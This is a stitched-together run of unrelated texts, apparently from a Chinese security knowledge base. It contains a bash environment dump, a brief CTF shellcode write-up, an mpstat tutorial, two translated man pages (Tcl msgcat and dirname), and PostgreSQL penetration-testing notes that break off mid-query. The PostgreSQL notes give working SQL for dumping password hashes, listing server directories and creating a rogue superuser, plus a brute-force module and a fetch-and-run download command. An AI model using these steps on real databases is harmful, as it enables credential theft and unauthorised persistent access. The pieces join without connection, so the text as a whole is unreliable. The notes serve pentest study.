INPUTRC="/etc/inputrc" declare -x LANG="zh_CN.UTF-8" declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s" declare -x logname="root" declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:" declare -x mail="/var/spool/mail/root" declare -x OLDPWD declare -x PATH="/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin" declare -x pwd="/root" declare -x SHELL="/bin/bash" declare -x SHLVL="1" declare -x SSH_CLIENT="192.168.2.111 2705 22" declare -x SSH_CONNECTION="192.168.2.111 2705 192.168.2.2 22" declare -x SSH_TTY="/dev/pts/0" declare -x TERM="linux" declare -x USER="root" ``` [1]: https://www.cnblogs.com/hongzg1982/articles/2101792.html [2]: https://stackoverflow.com/questions/5564418/exporting-an-array-in-bash-script [3]: https://unix.stackexchange.com/questions/22796/can-i-export-functions-in-bash [4]: https://askubuntu.com/questions/26318/environment-variable-vs-shell-variable-whats-the-difference
sec-knowleage
# Babyshells - Pwn (50 + 0)p, 65 solves > If you hold a babyshell close to your ear, you can hear a stack getting smashed In this task we were given three binaries and three corresponding `host:port` pairs to pwn. These binaries were in x86, ARM and MIPS architectures respectively, but they all were very simple. They had no NX, and jumped right into our supplied buffer. Googling "$ARCH + shellcode" and sending the result was enough to solve the challenge.
sec-knowleage
mpstat === 显示各个可用CPU的状态 ## 补充说明 **mpstat命令** 主要用于多CPU环境下,它显示各个可用CPU的状态信息。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。 ### 语法 ```shell mpstat [选项] [<间隔时间> [<次数>]] ``` ### 选项 ```shell -P:指定CPU编号。 ``` ### 参数 - 间隔时间:每次报告的间隔时间(秒); - 次数:显示报告的次数。 ### 表头含义 - %user:表示处理用户进程所使用CPU的百分比。 - %nice:表示在用户级别处理经nice降级的程序所使用CPU的百分比。 - %system:表示内核进程使用的CPU百分比。 - %iowait:表示等待进行I/O所占用CPU时间百分比。 - %irq:表示用于处理系统中断的CPU百分比。 - %soft:表示用于处理软件中断的CPU百分比。 - %steal:在管理程序为另一个虚拟处理器服务时,显示虚拟的一个或多个CPU在非自愿等待中花费的时间的百分比。 - %guest:表示一个或多个CPU在运行虚拟处理器时所花费的时间百分比。 - %gnice:表示一个或多个CPU在运行经nice降级后的虚拟处理器时所花费的时间百分比。 - %idle:CPU的空闲时间百分比。 ### 实例 当mpstat不带参数时,输出为从系统启动以来的平均值。 ```shell mpstat Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/14/2022 _x86_64_ (4 CPU) 04:28:36 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 04:28:36 PM all 0.03 0.00 0.07 0.00 0.00 0.01 0.00 0.00 0.00 99.89 ``` **每2秒产生了全部处理器的统计数据报告:** 下面的命令可以每2秒产生全部处理器的统计数据报告,一共产生三个interval的信息,最后再给出这三个interval的平均信息。默认时,输出是按照CPU号排序。第一个行给出了2秒内所有处理器使用情况。接下来每行对应一个处理器使用情况。 ```shell mpstat -P ALL 2 3 Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) 09:32:43 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:32:45 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:45 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:32:47 AM all 0.00 0.00 0.12 0.00 0.00 0.12 0.00 0.00 0.00 99.75 09:32:47 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:47 AM 1 0.00 0.00 0.50 0.00 0.00 0.00 0.00 0.00 0.00 99.50 09:32:47 AM 2 0.00 0.00 0.00 0.00 0.00 0.50 0.00 0.00 0.00 99.50 09:32:47 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:47 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:32:49 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:49 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:49 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:49 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 09:32:49 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 Average: CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle Average: all 0.00 0.00 0.04 0.00 0.00 0.04 0.00 0.00 0.00 99.92 Average: 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 Average: 1 0.00 0.00 0.17 0.00 0.00 0.00 0.00 0.00 0.00 99.83 Average: 2 0.00 0.00 0.00 0.00 0.00 0.17 0.00 0.00 0.00 99.83 Average: 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 ``` **比较带参数和不带参数的mpstat的结果:** 对localhost进行压力测试 ```shell ping -f localhost ``` 然后在另一个终端运行mpstat命令 ```shell mpstat Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) 09:34:20 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:34:20 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` 上文说到:当mpstat不带参数时,输出为从系统启动以来的平均值,所以这看不出什么变化。 ```shell mpstat Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) 09:34:40 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:34:40 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` 只有加上间隔时间才能显示某一段时间CPU的使用情况 ```shell mpstat 3 10 Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) 09:36:21 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 09:36:24 AM all 1.81 0.00 7.03 0.00 0.00 6.37 0.00 0.00 0.00 84.79 09:36:27 AM all 1.82 0.00 6.88 0.00 0.00 5.83 0.00 0.00 0.00 85.47 09:36:30 AM all 1.95 0.00 5.86 0.00 0.00 4.98 0.00 0.00 0.00 87.21 09:36:33 AM all 3.95 0.00 6.50 0.00 0.00 5.46 0.00 0.00 0.00 84.09 09:36:36 AM all 4.05 0.00 6.21 0.00 0.00 5.64 0.00 0.00 0.00 84.10 09:36:39 AM all 4.21 0.00 6.92 0.00 0.00 5.33 0.00 0.00 0.00 83.54 09:36:42 AM all 3.72 0.00 7.17 0.00 0.00 6.05 0.00 0.00 0.00 83.05 09:36:45 AM all 3.97 0.00 6.93 0.00 0.00 6.65 0.00 0.00 0.00 82.46 09:36:48 AM all 4.30 0.00 9.55 0.00 0.00 9.55 0.00 0.00 0.00 76.59 09:36:51 AM all 4.35 0.00 9.31 0.00 0.00 8.79 0.00 0.00 0.00 77.55 Average: all 3.44 0.00 7.28 0.00 0.00 6.52 0.00 0.00 0.00 82.76 ``` 上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。
sec-knowleage
'\" '\" Copyright (c) 1998 Mark Harrison. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" SCCS: @(#) msgcat.n '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: msgcat.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH "msgcat" 3tcl 8.1 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME msgcat \- Tcl 消息目录 .SH "总览 SYNOPSIS" \fBpackage require Tcl 8.2\fR .sp \fBpackage require msgcat 1.1\fR .sp \fB::msgcat::mc \fIsrc-string\fR .sp \fB::msgcat::mclocale \fR?\fInewLocale\fR? .sp \fB::msgcat::mcpreferences\fR .sp \fB::msgcat::mcload \fIdirname\fR .sp \fB::msgcat::mcset \fIlocale src-string \fR?\fItranslate-string\fR? .sp \fB::msgcat::mcunknown \fIlocale src-string\fR .BE .SH "描述 DESCRIPTION" .PP \fBmsgcat\fR 包提供用来管理多语言的用户界面的一系列函数。在独立于应用的一个“消息目录”中定义文本串,可以编辑和修改这些文本串而不用修改应用的源代码。通过向这个消息目录增加一个新文件来提供一个新语言或地域(locale)。 .PP 对任何应用和包使用消息目录都是可选的,但是鼓励你使用它,以便应用或包在多语言环境中被采用。 .SH "命令 COMMANDS .TP \fB::msgcat::mc \fIsrc-string\fR ?\fIarg arg ...\fR? 依照用户的当前地区,返回 \fIsrc-string\fR 的翻译(translation)。如果在 \fIsrc-string\fR 之后给出了附加的参数,使用 \fBformat\fR 命令把 \fIsrc-string\fR\fI \fR的翻译中的转换指定符替换成补充参数。 为了翻译 \fIsrc-string \fR\fB::msgcat::mc\fR 将在当前名字空间中查找定义的消息;如果未找到,它将在当前的名字空间的父空间中查找,以此类推直到到达全局名字空间。如果不存在转换字符串,调用 \fB::msgcat::mcunknown\fR 并返回 \fB::msgcat::mcunknown\fR 的返回。 .PP \fB::msgcat::mc\fR 是用来本地化一个应用的主要函数。不再直接的使用英文字符串,一个应用可以把英文字符串传递给 \fB::msgcat::mc\fR 并使用它的结果。如果以这种方式用一种语言写了一个应用,通过简单的定义新的消息目录条目,以后增加附加的语言支持是很容易的。 .TP \fB::msgcat::mclocale \fR?\fInewLocale\fR? 这个函数把地域设置成 \fInewLocale\fR。如果省略了 \fInewLocale\fR,返回当前的地域,否则当前的地域被设置成 \fInewLocale\fR。初始的地域缺省为在用户的环境变量中指定的地域。关于地域字符串的格式的详细描述参见下面的 \fBLOCALE AND SUBLOCALE SPECIFICATION\fR 地域和子地域指定章节。 .TP \fB::msgcat::mcpreferences\fR 返回一个有序的地域列表,它们是基于用户指定的语言,以用户喜好程度为次序。次序是从最偏好到最不喜好的。如果用户已经指定了LANG=en_US_funky,这个过程将返回{en_US_funky en_US en}。 .TP \fB::msgcat::mcload \fIdirname\fR 在指定的目录中查找一个文件,这个文件匹配用 \fB::msgcat::mcpreferences \fR返回的语言指定。每个文件的根文件名是地域字符串,扩展名是“.msg”。返回匹配的指定和装载了消息的数目。 .TP \fB::msgcat::mcset \fIlocale src-string \fR?\fItranslate-string\fR? 在指定的 \fIlocale \fR中设置从 \fIsrc-string\fR 到 \fItranslate-string\fR 的翻译。如果未指定 \fItranslate-string\fR,对二者都使用 \fIsrc-string\fR 。函数返回 \fItranslate-string\fR。 .TP \fB::msgcat::mcunknown \fIlocale src-string\fR 在当前的地域中没有给 \fIsrc-string\fR 定义的翻译的情况下,这个例程被 \fB::msgcat::mc\fR 调用。缺省的动作是返回 \fIsrc-string\fR。这个过程可以被这个应用重新定义,比如对每个未知字符串记录错误消息日志。在与 \fB::msgcat::mc \fR相同的栈层次上调用 \fB::msgcat::mcunknown\fR 过程。 \fB::msgcat::mcunknown\fR 的返回值被用做 \fB::msgcat::mc \fR的返回值。 .SH "地域和子地域规定 LOCALE AND SUBLOCALE SPECIFICATION" .PP 用地域字符串指定地域。地域字符串的组成是一个语言代码,一个可选的国家(地区)代码,一个可选的特定于系统代码,它们用“_”分割。国家和语言代码在标准ISO-639 和 ISO-3166 中。例如,地域“en”指定 English 而“en_US”指定 U.S. English。 .PP 区域定义缺省为装载 \fBmsgcat \fR包时在 \fBenv(LANG) \fR中的值。如果未定义 \fBenv(LANG)\fR,则地域缺省为“C”。 .PP 在用户指定一个地域的时候,在字符串翻译期间进行“最佳匹配”查找。例如,如果用户指定了 en_UK_Funky,按“en_UK_Funky”、“en_UK”、和“en” 的次序查找地域,直到找到一个匹配的字符串翻译。如果没有找到这个字符串的翻译,则调用 \fB::msgcat::unknown\fR。 .PP 译注:常用地域字符串的一部分 .CS 语言 国家(地区) 地域 ID Arabic Saudi Arabia ar_SA Chinese (Simplified) China zh_CN Chinese (Traditional) Taiwan zh_TW English United States en_US French France fr_FR German Germany de_DE Hebrew Israel iw_IL Italian Italy it_IT Japanese Japan ja_JP Korean South Koreako_KR Spanish Spain es_ES Swedish Sweden sv_SE .CE .SH NAME .PP 在消息目录中存储的字符串被存储为相对于在其中增加它们的那个名字空间。这允许多个包使用相同的字符串而不用害怕与其他包冲突。它还允许源字符串被缩写而减少(less prone to)排字错误。 .PP 例如,执行代码 .CS mcset en hello "hello from ::" namespace eval foo {mcset en hello "hello from ::foo"} puts [mc hello] namespace eval foo {puts [mc hello]} .CE 将输出 .CS hello from :: hello from ::foo .CE .PP 在查找一个消息的翻译的时候,消息目录将首先查找当前名字空间,接着是当前名字空间的父名字空间,以次类推知道到达全局名字空间。这允许子名字空间从它的父名字空间“继承”消息。 .PP 例如,执行代码 .CS mcset en m1 ":: message1" mcset en m2 ":: message2" mcset en m3 ":: message3" namespace eval ::foo { mcset en m2 "::foo message2" mcset en m3 "::foo message3" } namespace eval ::foo::bar { mcset en m3 "::foo::bar message3" } puts "[mc m1]; [mc m2]; [mc m3]" namespace eval ::foo {puts "[mc m1]; [mc m2]; [mc m3]"} namespace eval ::foo::bar {puts "[mc m1]; [mc m2]; [mc m3]"} .CE 将输出 .CS :: message1; :: message2; :: message3 :: message1; ::foo message2; ::foo message3 :: message1; ::foo message2; ::foo::bar message3 .CE .SH "消息文件的定位和格式 LOCATION AND FORMAT OF MESSAGE FILES" .PP 消息文件可以位于任何目录中,取决于下列条件: .IP [1] 给一个包的所有消息文件都在相同的目录中。 .IP [2] 消息文件名跟一个地域指定符并跟随着“.msg”。例如: .CS es.msg -- spanish en_UK.msg -- UK English .CE .IP [3] 这个文件包含一系列对 mcset 的调用,它们为这个语言设置需要的翻译字符串。例如: .CS ::msgcat::mcset es "Free Beer!" "Cerveza Gracias!" .CE .SH "推荐的对包的消息设置 RECOMMENDED MESSAGE SETUP FOR PACKAGES" .PP 如果一个包被安装到\fBtcl_pkgPath\fR 的一个子目录中并通过 \fBpackage require\fR 装载,推荐下列过程。 .IP [1] 在包安装期间,在你的包目录下建立一个子目录\fBmsgs\fR。 .IP [2] 复制你的 *.msg 文件到这个目录中。 .IP [3] 在你的包初始化脚本中增加下列命令: .CS # load language files, stored in msgs subdirectory ::msgcat::mcload [file join [file dirname [info script]] msgs] .CE .SH "给 FORMAT 和 SCAN 命令的定位代码 POSTITIONAL CODES FOR FORMAT AND SCAN COMMANDS" .PP 用做给 \fBformat\fR 的参数的一个消息字符串中的转换指定符可以包含一个 XPG3 位置指定符。例如,它可以按句法的需要在翻译的时候重新安排句子结构。 .CS format "We produced %d units in location %s" $num $city format "In location %s we produced %d units" $city $num .CE .PP 可使用定位参数来处理: .CS format "We produced %1\\$d units in location %2\\$s" $num $city format "In location %2\\$s we produced %1\\$d units" $num $city .CE .PP 类似的,可以在 \fBscan\fR 中使用定位参数来提取国际化字符串中的值。 .SH "感谢 CREDITS" .PP 消息目录代码由 Mark Harrison 开发。 .SH "参见 SEE ALSO" format(n), scan(n), namespace(n), package(n) .SH "关键字 KEYWORDS" internationalization, i18n, localization, l10n, message, text, translation .SH "[中文版维护人]" .B 寒蝉退士 .CS 译注:部分句子写的莫名其妙,余加以意译。 .CE .SH "[中文版最新更新]" .B 2001/10/12 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" (c) 2000 by Michael Kerrisk (michael.kerrisk@gmx.net) .\" .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission is granted to copy and distribute modified versions of this .\" manual under the conditions for verbatim copying, provided that the .\" entire resulting derived work is distributed under the terms of a .\" permission notice identical to this one .\" .\" Since the Linux kernel and libraries are constantly changing, this .\" manual page may be incorrect or out-of-date. The author(s) assume no .\" responsibility for errors or omissions, or for damages resulting from .\" the use of the information contained herein. .\" .\" Formatted or processed versions of this manual, if unaccompanied by .\" the source, must acknowledge the copyright and authors of this work. .\" License. .\" Created, 14 Dec 2000 by Michael Kerrisk .\" .TH DIRNAME 3 2000-12-14 "GNU" "Linux Programmer's Manual" .SH NAME dirname, basename \- 解析路径组成部分 .SH "总览" .nf .B #include <libgen.h> .sp .BI "char *dirname(char " "*path" ");" .BI "char *basename(char " "*path" ");" .fi .SH "描述" .B dirname 和 .B basename 把 以 null 结尾 的 路径名 分解为 目录 和 文件名. 一般情况下, .B dirname 返回 路径名 的 前面部分, 直到 (但不包括) 最后一个 '/', 而 .B basename 则 返回 最后一个 '/' 后面 的 内容. 如果 路径名 以 '/' 结尾, 该 '/' 被认为 不是 路径名 的 一部分. .PP 如果 路径名 .I path 不包含 斜杠 '/', .B dirname 返回 字符串 ".", 而 .B basename 返回 .IR path 的 副本. 如果 路径名 .I path 是 "/", 则 .B dirname 和 .B basename 均 返回 "/". 如果 路径名 .I path 是 NULL 指针 或 指向 空串, 则 .B dirname 和 .B basename 均 返回 ".". .PP 把 .BR dirname 返回的 字符串, "/", 和 .B basename 返回的 字符串 连接 起来, 能够 产生 一个 完整 的 路径名. .PP 无论 .B dirname 还是 .B basename 都 有可能 更改 .IR path 的 内容, 因此 如果 需要 保护 原有 路径名, 应该 传送 副本 作为 参数. 此外, .B dirname 和 .B basename 返回的 指针 可能 指向 一块 静态分配 的 内存, 会被 下次 调用 覆盖. .PP 下面 的 例子 (摘自 SUSv2) 展示了 对于 不同的 路径名, .B dirname 和 .B basename 返回 的 字符串: .sp .nf .B path dirname basename "/usr/lib" "/usr" "lib" "/usr/" "/" "usr" "usr" "." "usr" "/" "/" "/" "." "." "." ".." "." ".." .fi .SH "示例 (EXAMPLE)" .nf char *dirc, *basec, *bname, *dname; char *path = "/etc/passwd"; dirc = strdup(path); basec = strdup(path); dname = dirname(dirc); bname = basename(basec); printf("dirname=%s, basename=%s\\n", dname, bname); free(dirc); free(basec); .fi .SH "返回值 (RETURN VALUE)" .B dirname 和 .B basename 均 返回 以 null 结尾的 字符串 的 指针. .SH "BUGS" 在 glibc 的 各个 版本 中, 直到 (并包括) 2.2.1, .B dirname 无法 正确 处理 以 '/' 字符 结尾 的 路径名. 如果 参数 是 NULL 指针, 他 还会 产生 段冲突 (segmentation violation). .SH "遵循 (CONFORMING TO)" SUSv2 .SH "另见 (SEE ALSO)" .BR dirname (1), .BR basename (1) .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# PostgreSQL > shodan : "port:5432 PostgreSQL" > fofa : app="PostgreSQL **注入** - [PostgreSQL数据库注入笔记](../../Web安全/Web_Generic/SQLi.md#PostgreSQL) **通过 docker 搭建环境** ```bash wget -O f8x-dev https://f8x.io/dev bash f8x-dev -postgres ``` **相关文章** - [渗透中利用postgresql getshell](https://jianfensec.com/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E4%B8%AD%E5%88%A9%E7%94%A8postgresql%20getshell/) - https://github.com/safe6Sec/PentestDB/blob/master/PostgreSQL.md - https://github.com/nixawk/pentest-wiki/blob/master/2.Vulnerability-Assessment/Database-Assessment/postgresql/postgresql_hacking.md - [A Penetration Tester’s Guide to PostgreSQL by David Hayter](https://hakin9.org/a-penetration-testers-guide-to-postgresql/) - [Hacking PostgreSQL](https://tttang.com/archive/854/) - [PL/Python安装和使用](https://valleylord.github.io/post/201410-postgres-plpython-install/) - [PostgreSQL for red teams](https://www.unix-ninja.com/p/postgresql_for_red_teams) - [SQL INJECTION AND POSTGRES - AN ADVENTURE TO EVENTUAL RCE](https://pulsesecurity.co.nz/articles/postgres-sqli) - https://book.hacktricks.xyz/pentesting/pentesting-postgresql - https://github.com/nixawk/pentest-wiki/blob/master/2.Vulnerability-Assessment/Database-Assessment/postgresql/postgresql_hacking.md - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md - [数据库:从注入到提权的全家桶套餐](https://www.freebuf.com/articles/database/270106.html) - [Postgresql 渗透总结](https://tttang.com/archive/1547/) **相关案例** - [实战案例:针对某系统postgresql注入](https://mp.weixin.qq.com/s/I5hDjIEzn0rKA9aCZsJw9w) - [记一次pgsql数据库漏洞利用](https://xz.aliyun.com/t/10202) - [Postgresql Superuser SQL注入 RCE之旅](https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/) - [又记一次安服仔薅洞实战-未授权之发现postgresql注入](https://forum.butian.net/share/1344) - [Wiz Research discovers "ExtraReplica"— a cross-account database vulnerability in Azure PostgreSQL](https://www.wiz.io/blog/wiz-research-discovers-extrareplica-cross-account-database-vulnerability-in-azure-postgresql/) **相关工具** - [No-Github/postgresql_udf_help](https://github.com/No-Github/postgresql_udf_help) - PostgreSQL 提权辅助脚本 - [T3st0r-Git/hack_postgres](https://github.com/T3st0r-Git/hack_postgres) - 便捷地使用 PostgreSQL 自定义函数来执行系统命令,适用于数据库管理员知道 postgres 密码却不知道 ssh 或 RDP 密码的时候在服务器执行系统命令。 --- **MSF 爆破** ```bash use auxiliary/scanner/postgres/postgres_login ``` ## 信息收集 **查看服务器端版本** ```sql -- 详细信息 select version(); -- 版本信息 show server_version; select pg_read_file('PG_VERSION', 0, 200); -- 数字版本信息包括小版号 SHOW server_version_num; SELECT current_setting('server_version_num'); ``` **列目录** ```sql -- 注意: 在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径 select pg_ls_dir('/etc'); -- 获取 pgsql 安装目录 select setting from pg_settings where name = 'data_directory'; -- 查找 pgsql 配置文件路径 select setting from pg_settings where name='config_file' ``` **列出数据库** ```sql SELECT datname FROM pg_database; ``` **查看支持的语言** ```sql select * from pg_language; ``` **查看安装的扩展** ```sql select * from pg_available_extensions; ``` **查看服务器 ip 地址** ```sql -- 这里是运行在 docker 里的靶机,所以 ip 不一致 select inet_server_addr() ``` --- ## 账号操作 **查看当前用户是不是管理员权限** ```sql SELECT current_setting('is_superuser'); -- on 代表是, off 代表不是 SHOW is_superuser; SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER; ``` **查询密码** ```sql SELECT usename, passwd FROM pg_shadow; ``` ```sql SELECT rolname,rolpassword FROM pg_authid; ``` 可以看到,目前查询到的用户 hash 已经是 scram-sha-256,在以前的版本是加盐md5 我们可以查询当前的加密方式 ```sql -- password_encryption参数决定了密码怎么被hash SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption'; ``` **添加用户** ```sql --创建 f0x,赋予角色属性 create user f0x password 'Abcd1234' superuser createrole createdb --添加 f0x 到角色组 grant postgres to f0x ``` **修改一个角色为管理员角色** ```sql alter role f0x createrole; ``` **更改密码** ```sql ALTER USER user_name WITH PASSWORD 'new_password'; ``` **查看用户** ```sql SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); ``` **查看管理员用户** ```sql SELECT usename FROM pg_user WHERE usesuper IS TRUE ``` **获取用户角色** ```sql SELECT r.rolname, r.rolsuper, r.rolinherit, 